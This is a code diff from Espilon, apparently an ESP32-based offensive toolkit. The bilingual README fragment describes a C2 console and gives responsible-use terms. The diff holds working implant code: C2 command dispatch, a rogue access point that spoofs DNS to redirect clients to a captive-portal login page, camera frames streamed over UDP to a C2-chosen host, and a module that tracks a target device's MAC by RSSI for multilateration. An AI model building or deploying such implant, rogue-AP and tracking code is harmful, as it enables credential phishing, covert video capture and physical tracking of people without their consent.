- `list` : Lister les agents connectés
- `select <id>` : Sélectionner un agent
- `cmd <command>` : Exécuter une commande
- `group` : Gérer les groupes d'agents
- `list`: List connected agents
- `select <id>`: Select an agent
- `cmd <command>`: Execute a command
- `group`: Manage agent groups
---
## Sécurité
## Security
### Chiffrement
### Encryption
- **ChaCha20** pour les communications C2
- **Clés configurables** via menuconfig
- **Protocol Buffers (nanoPB)** pour la sérialisation
- **ChaCha20** for C2 communications
- **Configurable keys** via menuconfig
- **Protocol Buffers (nanoPB)** for serialization
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
**CHANGE DEFAULT KEYS** for production use:
```bash
# Générer des clés aléatoires
# Generate random keys
openssl rand -hex 32 # ChaCha20 key (32 bytes)
openssl rand -hex 12 # Nonce (12 bytes)
```
### Usage Responsable
### Responsible Use
Espilon doit être utilisé uniquement pour :
Espilon should only be used for:
- Tests d'intrusion **autorisés**
- Recherche en sécurité **éthique**
- Éducation et formation
- Prototypage IoT légitime
- **Authorized** penetration testing
- **Ethical** security research
- Education and training
- Legitimate IoT prototyping
**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité.
**Prohibited**: Unauthorized access, malicious attacks, privacy violations.
---
## Cas d'Usage
## Use Cases
### Pentest WiFi
### WiFi Pentesting
- Audit de sécurité réseau
- Test de robustesse WPA2/WPA3
- Cartographie réseau
- Network security auditing
- WPA2/WPA3 robustness testing
- Network mapping
### IoT Security Research
- Test de devices IoT
- Analyse de protocoles
- Détection de vulnérabilités
- IoT device testing
- Protocol analysis
- Vulnerability detection
### Éducation
### Education
- Labs de cybersécurité
- Cours d'embarqué
- Cybersecurity labs
- Embedded systems courses
- CTF competitions
---
## Roadmap
### V2.0 (En cours)
### V2.0 (In Progress)
- [ ] Mesh networking (BLE/WiFi)
- [ ] Implémenter Module reccoon dans C3PO
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
- [ ] Improve documentation
- [ ] OTA updates
- [ ] Multilatération collaborative
- [ ] Optimisation mémoire
- [ ] Collaborative multilateration
- [ ] Memory optimization
### Future
- [ ] PCB custom Espilon
- [ ] Support ESP32-S3/C3
- [ ] Module SDK pour extensions tierces
- [ ] Web UI pour C2
- [ ] Custom Espilon PCB
- [ ] ESP32-S3/C3 support
- [ ] Module SDK for third-party extensions
- [ ] Web UI for C2
---
## Licence
## License
Espilon est sous licence **MIT** avec addendum de sécurité.
Espilon is licensed under **MIT** with a security addendum.
Voir [LICENSE](LICENSE) pour les détails complets.
See [LICENSE](LICENSE) for full details.
**En résumé** :
- Utilisation libre pour recherche, éducation, développement
- Modification et distribution autorisées
- **Obtenir autorisation** avant tout déploiement
- Usage malveillant strictement interdit
**In summary**:
- Free use for research, education, development
- Modification and distribution allowed
- **Obtain authorization** before any deployment
- Malicious use strictly prohibited
---
## Contributeurs
## Contributors
- **@Eun0us** - Core architecture, modules
- **@off-path** - C2 server, protocol
- **@itsoktocryyy** - Network features, Wall Hack
- **@itsoktocryyy** - Network features, work on Mod Wall Hack
- **@wepfen** - Documentation, tools
### Contribuer
### Contributing
Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md).
**Rejoignez-nous** :
**Join us**:
- Rapporter des bugs
- Proposer des features
- Soumettre des PRs
- Améliorer la doc
- Report bugs
- Propose features
- Submit PRs
- Improve documentation
---
## Liens Utiles
## Useful Links
- **[Documentation complète](https://docs.espilon.net)**
- **[Full documentation](https://docs.espilon.net)**
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
- **English README** : [README.en.md](README.en.md)
- **French README**: [README.md](README.md)
---
## Support
- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
- **Issues**: [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
- **Discussions**: [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
---
**Présenté initialement à Le Hack (Juin 2025)**
**Originally presented at Le Hack (June 2025)**
**Made with love for security research and education**

View File

@ -1,13 +1,26 @@
#include "command.h"
#include "utils.h"
#include "esp_log.h"
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
static const char *TAG = "COMMAND";
static const command_t *registry[MAX_COMMANDS];
static size_t registry_count = 0;
/* Max longueur lue/copied par arg (sécurité si non \0) */
#ifndef COMMAND_MAX_ARG_LEN
#define COMMAND_MAX_ARG_LEN 128
#endif
/* Max args temporaires quon accepte ici (doit couvrir tes commandes) */
#ifndef COMMAND_MAX_ARGS
#define COMMAND_MAX_ARGS 16
#endif
/* =========================================================
* Register command
* ========================================================= */
@ -24,19 +37,120 @@ void command_register(const command_t *cmd)
}
registry[registry_count++] = cmd;
ESP_LOGI(TAG, "Registered command: %s", cmd->name);
#ifdef CONFIG_ESPILON_LOG_CMD_REG_VERBOSE
ESPILON_LOGI_PURPLE(TAG, "Registered command: %s", cmd->name);
#endif
}
/* =========================================================
* Dispatch protobuf command
* Summary
* ========================================================= */
void command_log_registry_summary(void)
{
if (registry_count == 0) {
ESPILON_LOGI_PURPLE(TAG, "Registered commands: none");
return;
}
char buf[512];
int off = snprintf(
buf,
sizeof(buf),
"Registered commands (%d): ",
(int)registry_count
);
for (size_t i = 0; i < registry_count; i++) {
const char *name = registry[i] && registry[i]->name
? registry[i]->name : "?";
const char *sep = (i == 0) ? "" : ", ";
int n = snprintf(buf + off, sizeof(buf) - (size_t)off,
"%s%s", sep, name);
if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) {
if (off < (int)sizeof(buf) - 4) {
strcpy(buf + (sizeof(buf) - 4), "...");
}
break;
}
off += n;
}
ESPILON_LOGI_PURPLE(TAG, "%s", buf);
}
/* =========================================================
* Helpers: deep-copy argv into one arena + argv[] pointers
* ========================================================= */
static bool deepcopy_argv(char *const *argv_in,
int argc,
char ***argv_out,
char **arena_out,
const char *req_id)
{
*argv_out = NULL;
*arena_out = NULL;
if (argc < 0) {
msg_error("cmd", "Invalid argc", req_id);
return false;
}
if (argc == 0) {
char **argv0 = (char **)calloc(1, sizeof(char *));
if (!argv0) {
msg_error("cmd", "OOM copying argv", req_id);
return false;
}
*argv_out = argv0;
*arena_out = NULL;
return true;
}
size_t total = 0;
for (int i = 0; i < argc; i++) {
const char *s = (argv_in && argv_in[i]) ? argv_in[i] : "";
size_t n = strnlen(s, COMMAND_MAX_ARG_LEN);
total += (n + 1);
}
char *arena = (char *)malloc(total ? total : 1);
char **argv_copy = (char **)malloc((size_t)argc * sizeof(char *));
if (!arena || !argv_copy) {
free(arena);
free(argv_copy);
msg_error("cmd", "OOM copying argv", req_id);
return false;
}
size_t off = 0;
for (int i = 0; i < argc; i++) {
const char *s = (argv_in && argv_in[i]) ? argv_in[i] : "";
size_t n = strnlen(s, COMMAND_MAX_ARG_LEN);
argv_copy[i] = &arena[off];
memcpy(&arena[off], s, n);
arena[off + n] = '\0';
off += (n + 1);
}
*argv_out = argv_copy;
*arena_out = arena;
return true;
}
/* =========================================================
* Dispatch nanopb command
* ========================================================= */
void command_process_pb(const c2_Command *cmd)
{
if (!cmd) return;
const char *name = cmd->command_name;
/* nanopb: tableaux fixes => jamais NULL */
const char *name = cmd->command_name;
const char *reqid = cmd->request_id;
const char *reqid_or_null = (reqid[0] ? reqid : NULL);
int argc = cmd->argv_count;
char **argv = (char **)cmd->argv;
for (size_t i = 0; i < registry_count; i++) {
const command_t *c = registry[i];
@ -44,22 +158,48 @@ void command_process_pb(const c2_Command *cmd)
if (strcmp(c->name, name) != 0)
continue;
/* Validate argc */
if (argc < c->min_args || argc > c->max_args) {
msg_error("cmd", "Invalid argument count",
cmd->request_id);
msg_error("cmd", "Invalid argument count", reqid_or_null);
return;
}
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc);
if (c->async) {
/* Ton async copie déjà argv/request_id dans une queue => OK */
command_async_enqueue(c, cmd);
} else {
c->handler(argc, argv, cmd->request_id, c->ctx);
return;
}
/* ================================
* SYNC PATH (FIX):
* Ne PAS caster cmd->argv en char**
* On construit argv_ptrs[] depuis cmd->argv[i]
* ================================ */
if (argc > COMMAND_MAX_ARGS) {
msg_error("cmd", "Too many args", reqid_or_null);
return;
}
char *argv_ptrs[COMMAND_MAX_ARGS] = {0};
for (int a = 0; a < argc; a++) {
/* Fonctionne que cmd->argv soit char*[N] ou char[N][M] */
argv_ptrs[a] = (char *)cmd->argv[a];
}
/* Deep-copy pour rendre sync aussi safe que async */
char **argv_copy = NULL;
char *arena = NULL;
if (!deepcopy_argv(argv_ptrs, argc, &argv_copy, &arena, reqid_or_null))
return;
c->handler(argc, argv_copy, reqid_or_null, c->ctx);
free(argv_copy);
free(arena);
return;
}
msg_error("cmd", "Unknown command", cmd->request_id);
msg_error("cmd", "Unknown command", reqid_or_null);
}

View File

@ -39,6 +39,7 @@ typedef struct {
* Registry
* ============================================================ */
void command_register(const command_t *cmd);
void command_log_registry_summary(void);
/* ============================================================
* Dispatcher (called by process.c)

View File

@ -62,7 +62,7 @@ void command_async_init(void)
NULL
);
ESP_LOGI(TAG, "Async command system ready");
ESPILON_LOGI_PURPLE(TAG, "Async command system ready");
}
/* =========================================================

View File

@ -36,6 +36,7 @@ void wifi_init(void)
ESP_ERROR_CHECK(esp_netif_init());
ESP_ERROR_CHECK(esp_event_loop_create_default());
esp_netif_create_default_wifi_sta();
esp_netif_create_default_wifi_ap();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
@ -149,4 +150,4 @@ void tcp_client_task(void *pvParameters)
}
}
#endif /* CONFIG_NETWORK_WIFI */
#endif /* CONFIG_NETWORK_WIFI */

View File

@ -9,7 +9,7 @@ bool com_init(void)
{
#ifdef CONFIG_NETWORK_WIFI
ESP_LOGI(TAG, "Init WiFi backend");
ESPILON_LOGI_PURPLE(TAG, "Init WiFi backend");
wifi_init();
@ -28,7 +28,7 @@ bool com_init(void)
#elif defined(CONFIG_NETWORK_GPRS)
ESP_LOGI(TAG, "Init GPRS backend");
ESPILON_LOGI_PURPLE(TAG, "Init GPRS backend");
setup_uart();
setup_modem();

View File

@ -192,6 +192,7 @@ bool c2_decode_and_exec(const char *frame)
free(plain);
/* 4) Log + dispatch */
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
ESP_LOGI(TAG, "==== C2 COMMAND ====");
ESP_LOGI(TAG, "name: %s", cmd.command_name);
ESP_LOGI(TAG, "argc: %d", cmd.argv_count);
@ -200,6 +201,18 @@ bool c2_decode_and_exec(const char *frame)
ESP_LOGI(TAG, "arg[%d]=%s", i, cmd.argv[i]);
}
ESP_LOGI(TAG, "====================");
#else
ESP_LOGI(
TAG,
"C2 CMD: %s argc=%d req=%s",
cmd.command_name,
cmd.argv_count,
cmd.request_id[0] ? cmd.request_id : "-"
);
for (int i = 0; i < cmd.argv_count; i++) {
ESP_LOGD(TAG, "arg[%d]=%s", i, cmd.argv[i]);
}
#endif
process_command(&cmd);
return true;

View File

@ -7,6 +7,9 @@ extern "C" {
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdarg.h>
#include <inttypes.h>
#include <stdio.h>
#include "sdkconfig.h"
#include "esp_log.h"
@ -21,6 +24,36 @@ extern "C" {
#define MAX_ARGS 10
#define MAX_RESPONSE_SIZE 1024
/* ============================================================
* LOG HELPERS
* ============================================================ */
#ifdef CONFIG_LOG_COLORS
#define ESPILON_LOG_PURPLE "\033[0;35m"
#define ESPILON_LOG_RESET "\033[0m"
#else
#define ESPILON_LOG_PURPLE ""
#define ESPILON_LOG_RESET ""
#endif
static inline void espilon_log_purple(
const char *tag,
const char *fmt,
...
) {
va_list args;
va_start(args, fmt);
printf(ESPILON_LOG_PURPLE "I (%" PRIu32 ") %s: ",
(uint32_t)esp_log_timestamp(), tag);
vprintf(fmt, args);
printf(ESPILON_LOG_RESET "\n");
va_end(args);
}
#define ESPILON_LOGI_PURPLE(tag, fmt, ...) \
espilon_log_purple(tag, fmt, ##__VA_ARGS__)
/* Socket TCP global */
extern int sock;

View File

@ -1,4 +1,4 @@
idf_component_register(SRCS "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
INCLUDE_DIRS .
REQUIRES esp_http_server
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command)

View File

@ -17,3 +17,18 @@ void fakeap_mark_authenticated(ip4_addr_t ip);
/* Internal use only - exported for mod_web_server.c */
extern ip4_addr_t authenticated_clients[MAX_CLIENTS];
extern int authenticated_count;
/* ===== ACCESS POINT ===== */
void start_access_point(const char *ssid, const char *password, bool open);
void stop_access_point(void);
/* ===== CAPTIVE PORTAL ===== */
void *start_captive_portal(void);
void stop_captive_portal(void);
/* ===== SNIFFER ===== */
void start_sniffer(void);
void stop_sniffer(void);
/* ===== CLIENTS ===== */
void list_connected_clients(void);

View File

@ -5,7 +5,7 @@
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_netif.h"
#include "lwip/lwip_napt.h"
#include "esp_event.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "freertos/FreeRTOS.h"
@ -16,6 +16,12 @@
#include "utils.h"
static const char *TAG = "MODULE_FAKE_AP";
static esp_netif_t *ap_netif = NULL;
static bool ap_event_registered = false;
static esp_event_handler_instance_t ap_event_instance_connect;
static esp_event_handler_instance_t ap_event_instance_disconnect;
static bool ap_ip_event_registered = false;
static esp_event_handler_instance_t ap_event_instance_ip;
/* ================= AUTH ================= */
ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */
@ -67,6 +73,95 @@ static void fakeap_reset_auth(void)
xSemaphoreGive(auth_mutex);
}
/* ============================================================
* CLIENTS
* ============================================================ */
void list_connected_clients(void)
{
wifi_sta_list_t sta_list;
esp_wifi_ap_get_sta_list(&sta_list);
char buf[512];
int off = snprintf(buf, sizeof(buf), "Connected clients: %d\n", sta_list.num);
for (int i = 0; i < sta_list.num && off < (int)sizeof(buf) - 32; i++) {
off += snprintf(buf + off, sizeof(buf) - off,
" [%d] %02x:%02x:%02x:%02x:%02x:%02x\n",
i + 1,
sta_list.sta[i].mac[0], sta_list.sta[i].mac[1],
sta_list.sta[i].mac[2], sta_list.sta[i].mac[3],
sta_list.sta[i].mac[4], sta_list.sta[i].mac[5]);
}
msg_info(TAG, buf, NULL);
}
static void fakeap_wifi_event_handler(
void *arg,
esp_event_base_t event_base,
int32_t event_id,
void *event_data
) {
if (event_base != WIFI_EVENT) {
return;
}
if (event_id == WIFI_EVENT_AP_STACONNECTED) {
wifi_event_ap_staconnected_t *e =
(wifi_event_ap_staconnected_t *)event_data;
char msg[96];
snprintf(
msg,
sizeof(msg),
"AP client connected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d)",
e->mac[0], e->mac[1], e->mac[2],
e->mac[3], e->mac[4], e->mac[5],
e->aid
);
msg_info(TAG, msg, NULL);
} else if (event_id == WIFI_EVENT_AP_STADISCONNECTED) {
wifi_event_ap_stadisconnected_t *e =
(wifi_event_ap_stadisconnected_t *)event_data;
char msg[112];
snprintf(
msg,
sizeof(msg),
"AP client disconnected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d, reason=%d)",
e->mac[0], e->mac[1], e->mac[2],
e->mac[3], e->mac[4], e->mac[5],
e->aid,
e->reason
);
msg_info(TAG, msg, NULL);
}
}
static void fakeap_ip_event_handler(
void *arg,
esp_event_base_t event_base,
int32_t event_id,
void *event_data
) {
if (event_base != IP_EVENT || event_id != IP_EVENT_AP_STAIPASSIGNED) {
return;
}
ip_event_ap_staipassigned_t *e =
(ip_event_ap_staipassigned_t *)event_data;
char msg[128];
snprintf(
msg,
sizeof(msg),
"AP client got IP: %02x:%02x:%02x:%02x:%02x:%02x -> "
IPSTR,
e->mac[0], e->mac[1], e->mac[2],
e->mac[3], e->mac[4], e->mac[5],
IP2STR(&e->ip)
);
ESP_LOGI(TAG, "%s", msg);
msg_info(TAG, msg, NULL);
}
/* ============================================================
* AP
* ============================================================ */
@ -90,6 +185,40 @@ void start_access_point(const char *ssid, const char *password, bool open)
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
if (!ap_event_registered) {
ESP_ERROR_CHECK(
esp_event_handler_instance_register(
WIFI_EVENT,
WIFI_EVENT_AP_STACONNECTED,
&fakeap_wifi_event_handler,
NULL,
&ap_event_instance_connect
)
);
ESP_ERROR_CHECK(
esp_event_handler_instance_register(
WIFI_EVENT,
WIFI_EVENT_AP_STADISCONNECTED,
&fakeap_wifi_event_handler,
NULL,
&ap_event_instance_disconnect
)
);
ap_event_registered = true;
}
if (!ap_ip_event_registered) {
ESP_ERROR_CHECK(
esp_event_handler_instance_register(
IP_EVENT,
IP_EVENT_AP_STAIPASSIGNED,
&fakeap_ip_event_handler,
NULL,
&ap_event_instance_ip
)
);
ap_ip_event_registered = true;
}
wifi_config_t cfg = {0};
strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid));
cfg.ap.ssid_len = strlen(ssid);
@ -105,21 +234,43 @@ void start_access_point(const char *ssid, const char *password, bool open)
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg));
vTaskDelay(pdMS_TO_TICKS(2000));
esp_netif_t *ap = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
esp_netif_ip_info_t ip;
esp_netif_get_ip_info(ap, &ip);
if (!ap_netif) {
ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
}
if (!ap_netif) {
ap_netif = esp_netif_create_default_wifi_ap();
}
if (!ap_netif) {
ESP_LOGE(TAG, "Failed to create AP netif");
return;
}
esp_netif_dhcps_stop(ap);
esp_netif_ip_info_t ip = {
.ip.addr = ESP_IP4TOADDR(192, 168, 4, 1),
.gw.addr = ESP_IP4TOADDR(192, 168, 4, 1),
.netmask.addr = ESP_IP4TOADDR(255, 255, 255, 0),
};
esp_netif_dhcps_stop(ap_netif);
esp_netif_set_ip_info(ap_netif, &ip);
esp_netif_dhcps_option(
ap,
ap_netif,
ESP_NETIF_OP_SET,
ESP_NETIF_DOMAIN_NAME_SERVER,
&ip.ip,
sizeof(ip.ip)
);
esp_netif_dhcps_start(ap);
esp_netif_dhcps_start(ap_netif);
ESP_LOGI(TAG,
"AP IP: " IPSTR " GW: " IPSTR " MASK: " IPSTR,
IP2STR(&ip.ip), IP2STR(&ip.gw), IP2STR(&ip.netmask));
ESP_LOGI(TAG, "DHCP server started");
ip_napt_enable(ip.ip.addr, 1);
/*
* Note: NAPT disabled - causes crashes with lwip mem_free assertion.
* FakeAP works without NAPT (no internet sharing to clients).
* TODO: Fix NAPT if internet sharing is needed.
*/
dns_param_t *p = calloc(1, sizeof(*p));
p->captive_portal = open;
@ -198,7 +349,10 @@ void dns_forwarder_task(void *pv)
ip4_addr_t ip;
ip.addr = cli.sin_addr.s_addr;
ESP_LOGI(TAG, "DNS query from %s", ip4addr_ntoa(&ip));
if (captive && !fakeap_is_authenticated(ip)) {
ESP_LOGI(TAG, "Spoofing DNS -> %s", CAPTIVE_PORTAL_IP);
send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP));
continue;
}

View File

@ -76,6 +76,8 @@ static const char *LOGIN_PAGE =
* ============================================================ */
static esp_err_t captive_portal_handler(httpd_req_t *req)
{
ESP_LOGI(TAG, "HTTP request received: %s", req->uri);
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
@ -85,6 +87,7 @@ static esp_err_t captive_portal_handler(httpd_req_t *req)
ip4_addr_t client_ip;
client_ip.addr = addr.sin_addr.s_addr;
ESP_LOGI(TAG, "Client IP: %s", ip4addr_ntoa(&client_ip));
if (is_already_authenticated(client_ip)) {
httpd_resp_set_status(req, "302 Found");

View File

@ -1,4 +1,7 @@
#pragma once
void mod_ble_trilat_register_commands(void);
void mod_camera_register_commands(void);
/* Camera module */
void mod_camera_register_commands(void);
/* MLAT (Multilateration) module */
void mod_mlat_register_commands(void);

View File

@ -13,6 +13,8 @@
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>
#include "command.h"
#include "utils.h"
@ -23,7 +25,7 @@
#define TAG "CAMERA"
#define MAX_UDP_SIZE 2034
#if defined(CONFIG_MODULE_RECON) && defined(CONFIG_RECON_MODE_CAMERA)
#if defined(CONFIG_RECON_MODE_CAMERA)
/* ================= CAMERA PINS ================= */
#define CAM_PIN_PWDN 32
#define CAM_PIN_RESET -1
@ -108,6 +110,8 @@ static void udp_stream_task(void *arg)
const size_t token_len = strlen(token);
uint8_t buf[MAX_UDP_SIZE + 32];
uint32_t frame_count = 0;
uint32_t error_count = 0;
while (streaming_active) {
@ -118,14 +122,34 @@ static void udp_stream_task(void *arg)
continue;
}
frame_count++;
size_t num_chunks = (fb->len + MAX_UDP_SIZE - 1) / MAX_UDP_SIZE;
/* DEBUG: Log frame info every 10 frames */
if (frame_count % 10 == 1) {
ESP_LOGI(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
frame_count, fb->len, num_chunks, udp_sock);
}
/* Check socket validity */
if (udp_sock < 0) {
ESP_LOGE(TAG, "socket invalid (sock=%d), stopping", udp_sock);
esp_camera_fb_return(fb);
break;
}
/* START */
memcpy(buf, token, token_len);
memcpy(buf + token_len, "START", 5);
sendto(udp_sock, buf, token_len + 5, 0,
ssize_t ret = sendto(udp_sock, buf, token_len + 5, 0,
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
if (ret < 0) {
ESP_LOGE(TAG, "START send failed: errno=%d (%s)", errno, strerror(errno));
}
size_t off = 0;
size_t rem = fb->len;
size_t chunk_num = 0;
while (rem > 0 && streaming_active) {
size_t chunk = rem > MAX_UDP_SIZE ? MAX_UDP_SIZE : rem;
@ -133,23 +157,39 @@ static void udp_stream_task(void *arg)
memcpy(buf, token, token_len);
memcpy(buf + token_len, fb->buf + off, chunk);
if (sendto(udp_sock, buf, token_len + chunk, 0,
ret = sendto(udp_sock, buf, token_len + chunk, 0,
(struct sockaddr *)&dest_addr,
sizeof(dest_addr)) < 0) {
msg_error(TAG, "udp send failed", NULL);
sizeof(dest_addr));
if (ret < 0) {
error_count++;
ESP_LOGE(TAG, "chunk %u/%u send failed: errno=%d (%s), errors=%lu",
chunk_num, num_chunks, errno, strerror(errno), error_count);
/* Stop after too many consecutive errors */
if (error_count > 50) {
ESP_LOGE(TAG, "too many errors, stopping stream");
streaming_active = false;
}
break;
} else {
error_count = 0; /* Reset on success */
}
off += chunk;
rem -= chunk;
chunk_num++;
vTaskDelay(1);
}
/* END */
memcpy(buf, token, token_len);
memcpy(buf + token_len, "END", 3);
sendto(udp_sock, buf, token_len + 3, 0,
ret = sendto(udp_sock, buf, token_len + 3, 0,
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
if (ret < 0) {
ESP_LOGE(TAG, "END send failed: errno=%d (%s)", errno, strerror(errno));
}
esp_camera_fb_return(fb);
vTaskDelay(pdMS_TO_TICKS(140)); /* ~7 FPS */
@ -160,6 +200,7 @@ static void udp_stream_task(void *arg)
udp_sock = -1;
}
ESP_LOGI(TAG, "stream stopped after %lu frames", frame_count);
msg_info(TAG, "stream stopped", NULL);
vTaskDelete(NULL);
}
@ -169,31 +210,62 @@ static void udp_stream_task(void *arg)
* ============================================================ */
static void start_stream(const char *ip, uint16_t port)
{
ESP_LOGI(TAG, "start_stream called: ip=%s port=%u", ip ? ip : "(null)", port);
if (streaming_active) {
msg_error(TAG, "stream already active", NULL);
return;
}
if (!camera_initialized) {
if (!init_camera())
return;
camera_initialized = true;
}
udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
if (udp_sock < 0) {
msg_error(TAG, "udp socket failed", NULL);
if (!ip || ip[0] == '\0') {
ESP_LOGE(TAG, "invalid IP: null/empty");
msg_error(TAG, "invalid ip", NULL);
return;
}
if (port == 0) {
ESP_LOGE(TAG, "invalid port: 0");
msg_error(TAG, "invalid port", NULL);
return;
}
if (!camera_initialized) {
ESP_LOGI(TAG, "initializing camera...");
if (!init_camera()) {
msg_error(TAG, "camera init failed", NULL);
return;
}
camera_initialized = true;
}
// Create UDP socket
udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
if (udp_sock < 0) {
ESP_LOGE(TAG, "socket() failed: errno=%d (%s)", errno, strerror(errno));
msg_error(TAG, "udp socket failed", NULL);
return;
}
ESP_LOGI(TAG, "socket created: fd=%d", udp_sock);
// Build destination address (use inet_pton instead of inet_addr)
memset(&dest_addr, 0, sizeof(dest_addr));
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
dest_addr.sin_addr.s_addr = inet_addr(ip);
dest_addr.sin_port = htons(port);
if (inet_pton(AF_INET, ip, &dest_addr.sin_addr) != 1) {
ESP_LOGE(TAG, "invalid IP address: '%s'", ip);
close(udp_sock);
udp_sock = -1;
msg_error(TAG, "invalid ip", NULL);
return;
}
ESP_LOGI(TAG, "target: %s:%u (addr=0x%08x)",
ip, port, (unsigned)dest_addr.sin_addr.s_addr);
streaming_active = true;
xTaskCreatePinnedToCore(
BaseType_t ret = xTaskCreatePinnedToCore(
udp_stream_task,
"cam_stream",
8192,
@ -202,25 +274,35 @@ static void start_stream(const char *ip, uint16_t port)
NULL,
0
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "failed to create stream task");
streaming_active = false;
close(udp_sock);
udp_sock = -1;
msg_error(TAG, "task create failed", NULL);
return;
}
}
static void stop_stream(void)
{
ESP_LOGI(TAG, "stop_stream called, active=%d", streaming_active);
if (!streaming_active) {
msg_error(TAG, "no active stream", NULL);
return;
}
streaming_active = false;
ESP_LOGI(TAG, "stream stop requested");
}
/* ============================================================
* COMMAND HANDLERS
* ============================================================ */
static int cmd_cam_start(int argc,
char **argv,
const char *req,
void *ctx)
static int cmd_cam_start(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
@ -229,10 +311,56 @@ static int cmd_cam_start(int argc,
return -1;
}
start_stream(argv[0], (uint16_t)atoi(argv[1]));
// Copie défensive (au cas où argv pointe vers un buffer volatile)
char ip[32] = {0};
char port_s[32] = {0};
strlcpy(ip, argv[0] ? argv[0] : "", sizeof(ip));
strlcpy(port_s, argv[1] ? argv[1] : "", sizeof(port_s));
// Trim espaces (début/fin) pour gérer "5000\r\n" etc.
char *p = port_s;
while (*p && isspace((unsigned char)*p)) p++;
// Extraire uniquement les digits au début
char digits[8] = {0}; // "65535" max
size_t di = 0;
while (*p && isdigit((unsigned char)*p) && di < sizeof(digits) - 1) {
digits[di++] = *p++;
}
digits[di] = '\0';
// Si aucun digit trouvé -> invalid
if (di == 0) {
ESP_LOGE(TAG, "invalid port (raw='%s')", port_s);
// Dump hex pour debug (hyper utile)
ESP_LOG_BUFFER_HEX(TAG, port_s, strnlen(port_s, sizeof(port_s)));
msg_error(TAG, "invalid port", req);
return -1;
}
unsigned long port_ul = strtoul(digits, NULL, 10);
if (port_ul == 0 || port_ul > 65535) {
ESP_LOGE(TAG, "invalid port value (digits='%s')", digits);
msg_error(TAG, "invalid port", req);
return -1;
}
uint16_t port = (uint16_t)port_ul;
// IP check via inet_pton (robuste)
struct in_addr addr;
if (inet_pton(AF_INET, ip, &addr) != 1) {
ESP_LOGE(TAG, "invalid IP address: '%s'", ip);
msg_error(TAG, "invalid ip", req);
return -1;
}
ESP_LOGI(TAG, "parsed: ip='%s' port=%u (raw_port='%s')", ip, port, port_s);
start_stream(ip, port);
return 0;
}
static int cmd_cam_stop(int argc,
char **argv,
const char *req,

View File

@ -0,0 +1,796 @@
/**
* @file mod_mlat.c
* @brief Multilateration Scanner Module (BLE + WiFi)
*
* This module turns an ESP32 into an RSSI scanner for multilateration.
* Supports both BLE and WiFi modes, switchable at runtime from C2.
* Position is configured from C2, and RSSI readings are sent back via TCP.
*
* Supports two coordinate systems:
* - GPS (lat/lon in degrees) for outdoor tracking with real maps
* - Local (x/y in meters) for indoor tracking with floor plans
*
* Commands:
* mlat config gps <lat> <lon> - Set GPS position (degrees)
* mlat config local <x> <y> - Set local position (meters)
* mlat config <lat> <lon> - Backward compat: GPS mode
* mlat mode <ble|wifi> - Set scanning mode
* mlat start <mac> - Start scanning for target MAC
* mlat stop - Stop scanning
* mlat status - Show current config and state
*
* Data format sent to C2:
* MLAT:G;<lat>;<lon>;<rssi> - GPS coordinates
* MLAT:L;<x>;<y>;<rssi> - Local coordinates (meters)
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "esp_err.h"
#include "nvs_flash.h"
/* BLE */
#include "esp_bt.h"
#include "esp_gap_ble_api.h"
#include "esp_bt_main.h"
/* WiFi */
#include "esp_wifi.h"
#include "esp_event.h"
#include "command.h"
#include "utils.h"
#if defined(CONFIG_RECON_MODE_MLAT)
/* ============================================================
* CONFIG
* ============================================================ */
#define TAG "MLAT"
#define SEND_INTERVAL_MS 2000 /* Send aggregated RSSI every 2s */
#define RSSI_HISTORY_SIZE 10 /* Keep last N readings for averaging */
#define CHANNEL_HOP_MS 200 /* WiFi channel hop interval */
/* ============================================================
* TYPES
* ============================================================ */
typedef enum {
MLAT_MODE_NONE = 0,
